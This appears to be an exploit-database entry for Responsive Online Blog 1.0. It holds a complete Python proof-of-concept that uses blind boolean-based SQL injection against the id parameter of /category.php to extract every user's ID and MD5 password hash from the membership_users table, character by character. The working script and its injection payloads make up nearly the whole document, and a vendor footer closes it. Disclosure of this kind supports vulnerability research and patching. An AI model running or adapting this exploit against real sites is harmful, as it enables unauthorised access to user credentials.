`# Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi
# Date: 2022-04-16
# Exploit Author: Gideon Kamioka (@w1ezl)
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: XAMPP Linux/7.4.7
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,
# which can provide attackers with access to the username and md5 hash of all site users.
# Vulnerable file: /category.php
# Usage: python3 exploit.py http://localhost/blog/category.php
# Proof of Concept:
#!/usr/bin/python3
import sys,requests,re
def cred_Length(ip,p,max):
f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)
failLen=len(f.text)
for k in reversed(range(1,max)):
r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)
if (len(r.text) != failLen):
return k
return None
def search_Credentials(ip, p):
charlist="abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@{|}~[]^_`"
f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)
failLen=len(f.text)
for k in charlist:
r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)
if (len(r.text) != failLen):
return ord(k)
return None
def logo():
art = R'''
ββββ ββββ
ββββββββ ββββββββ
ββββββββ ββββββββ
ββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββ
ββββββββββββββββββ
'''
info = "\033[0;34mResponsive Online Blog 1.0 /category.php\033[0m -\n Boolean based Blind Credential Extractor"
credits = 'Created by \033[1;35m@w1ezl\033[0m'.center(80)
warning= "\033[3mThis script could take up to \033[1;31;103m10 minuites\033[0m\033[3m to extract a single credential.\nGo get cofee and chill or something.\033[0m"
print(f"{art}\n{info}\n{credits}\n\n{warning}\n\n")
def main():
logo()
if len(sys.argv) != 2:
print(f"(+) Usage python3 {sys.argv[0]} <target>")
print(f"(+) Eg: python3 {sys.argv[0]} http://localhost/blog/category.php")
sys.exit(-1)
target = sys.argv[1]
payloadA = "1'AND+(SELECT+count(*)+FROM+membership_users)=[i]--+-"
payloadB = "1'AND+length(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]--+-"
payloadC = "1'AND+ascii(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]--+-"
print("(+) Starting Exploit:")
n = cred_Length(target, payloadA, 30)
if n is None:
print("(+) No creds Found:")
print("(+) exiting...")
sys.exit(-1)
else:
print(f"(+) {n-1} creds Found:")
for i in range(0,n-1):
b = payloadB.replace("[o]",str(i))
credLen = cred_Length(target, b, 60)
for j in range (1, credLen+1):
p = payloadC.replace("[i]",str(j))
c = p.replace("[o]",str(i))
sys.stdout.write(chr(search_Credentials(target, c)))
sys.stdout.flush()
print('')
print("done")
if __name__ == '__main__':
main()
`
Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation